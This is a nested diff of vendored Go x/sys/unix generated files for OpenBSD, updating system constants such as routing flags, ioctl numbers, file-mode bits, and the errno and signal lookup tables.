-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0x400ffff
-+ MNT_WAIT = 0x1
-+ MNT_WANTRDWR = 0x2000000
-+ MNT_WXALLOWED = 0x800
- MSG_BCAST = 0x100
-+ MSG_CMSG_CLOEXEC = 0x800
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
- MSG_DONTWAIT = 0x80
-@@ -909,11 +987,15 @@ const (
- NET_RT_DUMP = 0x1
- NET_RT_FLAGS = 0x2
- NET_RT_IFLIST = 0x3
-- NET_RT_MAXID = 0x6
-+ NET_RT_IFNAMES = 0x6
-+ NET_RT_MAXID = 0x7
- NET_RT_STATS = 0x4
- NET_RT_TABLE = 0x5
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
-+ NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-+ NOTE_CHANGE = 0x1
- NOTE_CHILD = 0x4
- NOTE_DELETE = 0x1
- NOTE_EOF = 0x2
-@@ -932,11 +1014,13 @@ const (
- NOTE_TRUNCATE = 0x80
- NOTE_WRITE = 0x2
- OCRNL = 0x10
-+ OLCUC = 0x20
- ONLCR = 0x2
- ONLRET = 0x80
- ONOCR = 0x40
- ONOEOT = 0x8
- OPOST = 0x1
-+ OXTABS = 0x4
- O_ACCMODE = 0x3
- O_APPEND = 0x8
- O_ASYNC = 0x40
-@@ -974,23 +1058,32 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-+ RTAX_BFD = 0xb
- RTAX_BRD = 0x7
-+ RTAX_DNS = 0xc
- RTAX_DST = 0x0
- RTAX_GATEWAY = 0x1
- RTAX_GENMASK = 0x3
- RTAX_IFA = 0x5
- RTAX_IFP = 0x4
- RTAX_LABEL = 0xa
-- RTAX_MAX = 0xb
-+ RTAX_MAX = 0xf
- RTAX_NETMASK = 0x2
-+ RTAX_SEARCH = 0xe
- RTAX_SRC = 0x8
- RTAX_SRCMASK = 0x9
-+ RTAX_STATIC = 0xd
- RTA_AUTHOR = 0x40
-+ RTA_BFD = 0x800
- RTA_BRD = 0x80
-+ RTA_DNS = 0x1000
- RTA_DST = 0x1
- RTA_GATEWAY = 0x2
- RTA_GENMASK = 0x8
-@@ -998,34 +1091,39 @@ const (
- RTA_IFP = 0x10
- RTA_LABEL = 0x400
- RTA_NETMASK = 0x4
-+ RTA_SEARCH = 0x4000
- RTA_SRC = 0x100
- RTA_SRCMASK = 0x200
-+ RTA_STATIC = 0x2000
- RTF_ANNOUNCE = 0x4000
-+ RTF_BFD = 0x1000000
- RTF_BLACKHOLE = 0x1000
-+ RTF_BROADCAST = 0x400000
-+ RTF_CACHED = 0x20000
- RTF_CLONED = 0x10000
- RTF_CLONING = 0x100
-+ RTF_CONNECTED = 0x800000
- RTF_DONE = 0x40
- RTF_DYNAMIC = 0x10
-- RTF_FMASK = 0x10f808
-+ RTF_FMASK = 0x110fc08
- RTF_GATEWAY = 0x2
- RTF_HOST = 0x4
- RTF_LLINFO = 0x400
-- RTF_MASK = 0x80
-+ RTF_LOCAL = 0x200000
- RTF_MODIFIED = 0x20
- RTF_MPATH = 0x40000
- RTF_MPLS = 0x100000
-+ RTF_MULTICAST = 0x200
- RTF_PERMANENT_ARP = 0x2000
- RTF_PROTO1 = 0x8000
- RTF_PROTO2 = 0x4000
- RTF_PROTO3 = 0x2000
- RTF_REJECT = 0x8
-- RTF_SOURCE = 0x20000
- RTF_STATIC = 0x800
-- RTF_TUNNEL = 0x100000
- RTF_UP = 0x1
- RTF_USETRAILERS = 0x8000
-- RTF_XRESOLVE = 0x200
- RTM_ADD = 0x1
-+ RTM_BFD = 0x12
- RTM_CHANGE = 0x3
- RTM_DELADDR = 0xd
- RTM_DELETE = 0x2
-@@ -1033,11 +1131,13 @@ const (
- RTM_GET = 0x4
- RTM_IFANNOUNCE = 0xf
- RTM_IFINFO = 0xe
-+ RTM_INVALIDATE = 0x11
- RTM_LOCK = 0x8
- RTM_LOSING = 0x5
- RTM_MAXSIZE = 0x800
- RTM_MISS = 0x7
- RTM_NEWADDR = 0xc
-+ RTM_PROPOSAL = 0x13
- RTM_REDIRECT = 0x6
- RTM_RESOLVE = 0xb
- RTM_RTTUNIT = 0xf4240
-@@ -1050,6 +1150,8 @@ const (
- RTV_RTTVAR = 0x80
- RTV_SPIPE = 0x10
- RTV_SSTHRESH = 0x20
-+ RT_TABLEID_BITS = 0x8
-+ RT_TABLEID_MASK = 0xff
- RT_TABLEID_MAX = 0xff
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
-@@ -1062,55 +1164,55 @@ const (
- SIOCADDMULTI = 0x80206931
- SIOCAIFADDR = 0x8040691a
- SIOCAIFGROUP = 0x80286987
-- SIOCALIFADDR = 0x8218691c
- SIOCATMARK = 0x40047307
-- SIOCBRDGADD = 0x8058693c
-- SIOCBRDGADDS = 0x80586941
-- SIOCBRDGARL = 0x806e694d
-+ SIOCBRDGADD = 0x8060693c
-+ SIOCBRDGADDL = 0x80606949
-+ SIOCBRDGADDS = 0x80606941
-+ SIOCBRDGARL = 0x808c694d
- SIOCBRDGDADDR = 0x81286947
-- SIOCBRDGDEL = 0x8058693d
-- SIOCBRDGDELS = 0x80586942
-- SIOCBRDGFLUSH = 0x80586948
-- SIOCBRDGFRL = 0x806e694e
-- SIOCBRDGGCACHE = 0xc0146941
-- SIOCBRDGGFD = 0xc0146952
-- SIOCBRDGGHT = 0xc0146951
-- SIOCBRDGGIFFLGS = 0xc058693e
-- SIOCBRDGGMA = 0xc0146953
-+ SIOCBRDGDEL = 0x8060693d
-+ SIOCBRDGDELS = 0x80606942
-+ SIOCBRDGFLUSH = 0x80606948
-+ SIOCBRDGFRL = 0x808c694e
-+ SIOCBRDGGCACHE = 0xc0186941
-+ SIOCBRDGGFD = 0xc0186952
-+ SIOCBRDGGHT = 0xc0186951
-+ SIOCBRDGGIFFLGS = 0xc060693e
-+ SIOCBRDGGMA = 0xc0186953
- SIOCBRDGGPARAM = 0xc0406958
-- SIOCBRDGGPRI = 0xc0146950
-+ SIOCBRDGGPRI = 0xc0186950
- SIOCBRDGGRL = 0xc030694f
-- SIOCBRDGGSIFS = 0xc058693c
-- SIOCBRDGGTO = 0xc0146946
-- SIOCBRDGIFS = 0xc0586942
-+ SIOCBRDGGTO = 0xc0186946
-+ SIOCBRDGIFS = 0xc0606942
- SIOCBRDGRTS = 0xc0206943
- SIOCBRDGSADDR = 0xc1286944
-- SIOCBRDGSCACHE = 0x80146940
-- SIOCBRDGSFD = 0x80146952
-- SIOCBRDGSHT = 0x80146951
-- SIOCBRDGSIFCOST = 0x80586955
-- SIOCBRDGSIFFLGS = 0x8058693f
-- SIOCBRDGSIFPRIO = 0x80586954
-- SIOCBRDGSMA = 0x80146953
-- SIOCBRDGSPRI = 0x80146950
-- SIOCBRDGSPROTO = 0x8014695a
-- SIOCBRDGSTO = 0x80146945
-- SIOCBRDGSTXHC = 0x80146959
-+ SIOCBRDGSCACHE = 0x80186940
-+ SIOCBRDGSFD = 0x80186952
-+ SIOCBRDGSHT = 0x80186951
-+ SIOCBRDGSIFCOST = 0x80606955
-+ SIOCBRDGSIFFLGS = 0x8060693f
-+ SIOCBRDGSIFPRIO = 0x80606954
-+ SIOCBRDGSIFPROT = 0x8060694a
-+ SIOCBRDGSMA = 0x80186953
-+ SIOCBRDGSPRI = 0x80186950
-+ SIOCBRDGSPROTO = 0x8018695a
-+ SIOCBRDGSTO = 0x80186945
-+ SIOCBRDGSTXHC = 0x80186959
- SIOCDELMULTI = 0x80206932
- SIOCDIFADDR = 0x80206919
- SIOCDIFGROUP = 0x80286989
-+ SIOCDIFPARENT = 0x802069b4
- SIOCDIFPHYADDR = 0x80206949
-- SIOCDLIFADDR = 0x8218691e
-+ SIOCDVNETID = 0x802069af
- SIOCGETKALIVE = 0xc01869a4
- SIOCGETLABEL = 0x8020699a
-+ SIOCGETMPWCFG = 0xc02069ae
- SIOCGETPFLOW = 0xc02069fe
- SIOCGETPFSYNC = 0xc02069f8
- SIOCGETSGCNT = 0xc0207534
- SIOCGETVIFCNT = 0xc0287533
- SIOCGETVLAN = 0xc0206990
-- SIOCGHIWAT = 0x40047301
- SIOCGIFADDR = 0xc0206921
-- SIOCGIFASYNCMAP = 0xc020697c
- SIOCGIFBRDADDR = 0xc0206923
- SIOCGIFCONF = 0xc0106924
- SIOCGIFDATA = 0xc020691b
-@@ -1122,37 +1224,41 @@ const (
- SIOCGIFGMEMB = 0xc028698a
- SIOCGIFGROUP = 0xc0286988
- SIOCGIFHARDMTU = 0xc02069a5
-- SIOCGIFMEDIA = 0xc0306936
-+ SIOCGIFLLPRIO = 0xc02069b6
-+ SIOCGIFMEDIA = 0xc0406938
- SIOCGIFMETRIC = 0xc0206917
- SIOCGIFMTU = 0xc020697e
- SIOCGIFNETMASK = 0xc0206925
-- SIOCGIFPDSTADDR = 0xc0206948
-+ SIOCGIFPAIR = 0xc02069b1
-+ SIOCGIFPARENT = 0xc02069b3
- SIOCGIFPRIORITY = 0xc020699c
-- SIOCGIFPSRCADDR = 0xc0206947
- SIOCGIFRDOMAIN = 0xc02069a0
- SIOCGIFRTLABEL = 0xc0206983
-- SIOCGIFTIMESLOT = 0xc0206986
-+ SIOCGIFRXR = 0x802069aa
- SIOCGIFXFLAGS = 0xc020699e
-- SIOCGLIFADDR = 0xc218691d
- SIOCGLIFPHYADDR = 0xc218694b
-+ SIOCGLIFPHYDF = 0xc02069c2
- SIOCGLIFPHYRTABLE = 0xc02069a2
- SIOCGLIFPHYTTL = 0xc02069a9
-- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGSPPPPARAMS = 0xc0206994
-+ SIOCGUMBINFO = 0xc02069be
-+ SIOCGUMBPARAM = 0xc02069c0
- SIOCGVH = 0xc02069f6
-+ SIOCGVNETFLOWID = 0xc02069c4
- SIOCGVNETID = 0xc02069a7
-+ SIOCIFAFATTACH = 0x801169ab
-+ SIOCIFAFDETACH = 0x801169ac
- SIOCIFCREATE = 0x8020697a
- SIOCIFDESTROY = 0x80206979
- SIOCIFGCLONERS = 0xc0106978
- SIOCSETKALIVE = 0x801869a3
- SIOCSETLABEL = 0x80206999
-+ SIOCSETMPWCFG = 0x802069ad
- SIOCSETPFLOW = 0x802069fd
- SIOCSETPFSYNC = 0x802069f7
- SIOCSETVLAN = 0x8020698f
-- SIOCSHIWAT = 0x80047300
- SIOCSIFADDR = 0x8020690c
-- SIOCSIFASYNCMAP = 0x8020697d
- SIOCSIFBRDADDR = 0x80206913
- SIOCSIFDESCR = 0x80206980
- SIOCSIFDSTADDR = 0x8020690e
-@@ -1160,25 +1266,36 @@ const (
- SIOCSIFGATTR = 0x8028698c
- SIOCSIFGENERIC = 0x80206939
- SIOCSIFLLADDR = 0x8020691f
-- SIOCSIFMEDIA = 0xc0206935
-+ SIOCSIFLLPRIO = 0x802069b5
-+ SIOCSIFMEDIA = 0xc0206937
- SIOCSIFMETRIC = 0x80206918
- SIOCSIFMTU = 0x8020697f
- SIOCSIFNETMASK = 0x80206916
-- SIOCSIFPHYADDR = 0x80406946
-+ SIOCSIFPAIR = 0x802069b0
-+ SIOCSIFPARENT = 0x802069b2
- SIOCSIFPRIORITY = 0x8020699b
- SIOCSIFRDOMAIN = 0x8020699f
- SIOCSIFRTLABEL = 0x80206982
-- SIOCSIFTIMESLOT = 0x80206985
- SIOCSIFXFLAGS = 0x8020699d
- SIOCSLIFPHYADDR = 0x8218694a
-+ SIOCSLIFPHYDF = 0x802069c1
- SIOCSLIFPHYRTABLE = 0x802069a1
- SIOCSLIFPHYTTL = 0x802069a8
-- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSSPPPPARAMS = 0x80206993
-+ SIOCSUMBPARAM = 0x802069bf
- SIOCSVH = 0xc02069f5
-+ SIOCSVNETFLOWID = 0x802069c3
- SIOCSVNETID = 0x802069a6
-+ SIOCSWGDPID = 0xc018695b
-+ SIOCSWGMAXFLOW = 0xc0186960
-+ SIOCSWGMAXGROUP = 0xc018695d
-+ SIOCSWSDPID = 0x8018695c
-+ SIOCSWSPORTNO = 0xc060695f
-+ SOCK_CLOEXEC = 0x8000
- SOCK_DGRAM = 0x2
-+ SOCK_DNS = 0x1000
-+ SOCK_NONBLOCK = 0x4000
- SOCK_RAW = 0x3
- SOCK_RDM = 0x4
- SOCK_SEQPACKET = 0x5
-@@ -1209,9 +1326,42 @@ const (
- SO_TIMESTAMP = 0x800
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ SO_ZEROIZE = 0x2000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
-+ TCIOFF = 0x3
- TCIOFLUSH = 0x3
-+ TCION = 0x4
- TCOFLUSH = 0x2
-+ TCOOFF = 0x1
-+ TCOON = 0x2
- TCP_MAXBURST = 0x4
- TCP_MAXSEG = 0x2
- TCP_MAXWIN = 0xffff
-@@ -1221,11 +1371,12 @@ const (
- TCP_MSS = 0x200
- TCP_NODELAY = 0x1
- TCP_NOPUSH = 0x10
-- TCP_NSTATES = 0xb
- TCP_SACK_ENABLE = 0x8
- TCSAFLUSH = 0x2
- TIOCCBRK = 0x2000747a
- TIOCCDTR = 0x20007478
-+ TIOCCHKVERAUTH = 0x2000741e
-+ TIOCCLRVERAUTH = 0x2000741d
- TIOCCONS = 0x80047462
- TIOCDRAIN = 0x2000745e
- TIOCEXCL = 0x2000740d
-@@ -1280,17 +1431,22 @@ const (
- TIOCSETAF = 0x802c7416
- TIOCSETAW = 0x802c7415
- TIOCSETD = 0x8004741b
-+ TIOCSETVERAUTH = 0x8004741c
- TIOCSFLAGS = 0x8004745c
- TIOCSIG = 0x8004745f
- TIOCSPGRP = 0x80047476
- TIOCSTART = 0x2000746e
-- TIOCSTAT = 0x80047465
-+ TIOCSTAT = 0x20007465
- TIOCSTI = 0x80017472
- TIOCSTOP = 0x2000746f
- TIOCSTSTAMP = 0x8008745a
- TIOCSWINSZ = 0x80087467
- TIOCUCNTL = 0x80047466
-+ TIOCUCNTL_CBRK = 0x7a
-+ TIOCUCNTL_SBRK = 0x7b
- TOSTOP = 0x400000
-+ UTIME_NOW = -0x2
-+ UTIME_OMIT = -0x1
- VDISCARD = 0xf
- VDSUSP = 0xb
- VEOF = 0x0
-@@ -1301,6 +1457,18 @@ const (
- VKILL = 0x5
- VLNEXT = 0xe
- VMIN = 0x10
-+ VM_ANONMIN = 0x7
-+ VM_LOADAVG = 0x2
-+ VM_MAXID = 0xc
-+ VM_MAXSLP = 0xa
-+ VM_METER = 0x1
-+ VM_NKMEMPAGES = 0x6
-+ VM_PSSTRINGS = 0x3
-+ VM_SWAPENCRYPT = 0x5
-+ VM_USPACE = 0xb
-+ VM_UVMEXP = 0x4
-+ VM_VNODEMIN = 0x9
-+ VM_VTEXTMIN = 0x8
- VQUIT = 0x9
- VREPRINT = 0x6
- VSTART = 0xc
-@@ -1313,8 +1481,8 @@ const (
- WCONTINUED = 0x8
- WCOREFLAG = 0x80
- WNOHANG = 0x1
-- WSTOPPED = 0x7f
- WUNTRACED = 0x2
-+ XCASE = 0x1000000
- )
-
- // Errors
-@@ -1328,6 +1496,7 @@ const (
- EALREADY = syscall.Errno(0x25)
- EAUTH = syscall.Errno(0x50)
- EBADF = syscall.Errno(0x9)
-+ EBADMSG = syscall.Errno(0x5c)
- EBADRPC = syscall.Errno(0x48)
- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x58)
-@@ -1354,7 +1523,7 @@ const (
- EIPSEC = syscall.Errno(0x52)
- EISCONN = syscall.Errno(0x38)
- EISDIR = syscall.Errno(0x15)
-- ELAST = syscall.Errno(0x5b)
-+ ELAST = syscall.Errno(0x5f)
- ELOOP = syscall.Errno(0x3e)
- EMEDIUMTYPE = syscall.Errno(0x56)
- EMFILE = syscall.Errno(0x18)
-@@ -1382,12 +1551,14 @@ const (
- ENOTCONN = syscall.Errno(0x39)
- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x42)
-+ ENOTRECOVERABLE = syscall.Errno(0x5d)
- ENOTSOCK = syscall.Errno(0x26)
- ENOTSUP = syscall.Errno(0x5b)
- ENOTTY = syscall.Errno(0x19)
- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x2d)
- EOVERFLOW = syscall.Errno(0x57)
-+ EOWNERDEAD = syscall.Errno(0x5e)
- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x2e)
- EPIPE = syscall.Errno(0x20)
-@@ -1395,6 +1566,7 @@ const (
- EPROCUNAVAIL = syscall.Errno(0x4c)
- EPROGMISMATCH = syscall.Errno(0x4b)
- EPROGUNAVAIL = syscall.Errno(0x4a)
-+ EPROTO = syscall.Errno(0x5f)
- EPROTONOSUPPORT = syscall.Errno(0x2b)
- EPROTOTYPE = syscall.Errno(0x29)
- ERANGE = syscall.Errno(0x22)
-@@ -1452,132 +1624,144 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "IPsec processing failure",
-- 83: "attribute not found",
-- 84: "illegal byte sequence",
-- 85: "no medium found",
-- 86: "wrong medium type",
-- 87: "value too large to be stored in data type",
-- 88: "operation canceled",
-- 89: "identifier removed",
-- 90: "no message of desired type",
-- 91: "not supported",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disk quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC program not available"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIPSEC", "IPsec processing failure"},
-+ {83, "ENOATTR", "attribute not found"},
-+ {84, "EILSEQ", "illegal byte sequence"},
-+ {85, "ENOMEDIUM", "no medium found"},
-+ {86, "EMEDIUMTYPE", "wrong medium type"},
-+ {87, "EOVERFLOW", "value too large to be stored in data type"},
-+ {88, "ECANCELED", "operation canceled"},
-+ {89, "EIDRM", "identifier removed"},
-+ {90, "ENOMSG", "no message of desired type"},
-+ {91, "ENOTSUP", "not supported"},
-+ {92, "EBADMSG", "bad message"},
-+ {93, "ENOTRECOVERABLE", "state not recoverable"},
-+ {94, "EOWNERDEAD", "previous owner died"},
-+ {95, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread AST",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread AST"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go
-index 3ed0b260..7aa796a6 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_openbsd_arm.go
-@@ -1,11 +1,11 @@
- // mkerrors.sh
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
--
--// Created by cgo -godefs - DO NOT EDIT
--// cgo -godefs -- _const.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,openbsd
-
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- _const.go
-+
- package unix
-
- import "syscall"
-@@ -147,6 +147,7 @@ const (
- CFLUSH = 0xf
- CLOCAL = 0x8000
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -157,6 +158,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DIOCOSFPFLUSH = 0x2000444e
-@@ -441,6 +444,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -859,6 +863,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
